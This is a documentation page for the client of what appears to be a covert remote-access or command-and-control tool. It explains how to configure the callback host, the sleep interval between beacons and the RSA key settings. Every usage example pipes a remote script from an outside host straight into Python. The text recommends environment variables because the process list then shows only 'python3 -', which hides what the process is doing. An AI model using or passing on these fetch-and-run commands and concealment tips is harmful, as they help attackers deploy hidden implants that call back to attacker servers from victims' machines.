Client Configuration | Docs

As you may have noticed reading the precompiled scripts section, the client binary - allows configuration options to be passed in a number of ways. The first thing it - will look for, for any given option, is a specifically-named environment variable, - as this will not be visible in the process name. Failing this, the client will try - less subtle approaches, looking for positional command-line arguments, prompting - the standard input, and finally falling back to a preset default value (which you - may find it useful to alter the script in order to tweak if you don't want to - pass anything in through the alternative methods.) Generally your run command will - look something like:

curl -s https://dl.pkctl.org/pk.py | OPT1=val1 OPT2=val2... python3 -

This has the distinct advantage as only showing up as python3 - in the - process list, which leaves precious little to identify what it is actually doing. - For this reason, environment variable input is highly recommended.

HDB URL

Unless your server is using the default server key (not recommended), you will - need to specify a URL from which the server's public RSA key can be - fetched. The format of this file can be found in the - Hosts Database - section of the documentation.

Environment Variable Name: HDB

Command-Line Argument Order: first

Default Value: https://war.cflems.net/hosts.json

Usage:

curl -s https://dl.pkctl.org/pk.py | HDB=https://dl.pkctl.org/b8ca2180.json python3 -

TCP Host

This is the TCP host to which your client will attempt to connect at a specified - interval. You will most invariably want to specify or recode this parameter. - Port number is optional and specified with a colon in the hostname.

Environment Variable Name: HOST

Command-Line Argument Order: second

Default Value: sek.cflems.net:2236

Usage:

curl -s https://dl.pkctl.org/pk.py | HOST=raw.pkctl.org python3 -

Time to Sleep

This is the interval at which the client will wake up and attempt to establish - a connection to the remote server, if it does not succeed immediately. Unit is - seconds.

Environment Variable Name: TTS

Command-Line Argument Order: third

Default Value: 1800 (30 minutes)

Usage:

curl -s https://dl.pkctl.org/pk.py | TTS=86400 python3 -

RSA Bits

Can be used to turn down the bits used for RSA keys and messages for faster - operation at the expense of security. Needs to be synced between the client - and server. I recommend leaving this value alone.

Environment Variable Name: BITS

Command-Line Argument Order: fourth

Default Value: 4096

Usage:

curl -s https://dl.pkctl.org/pk.py | BITS=2048 python3 -
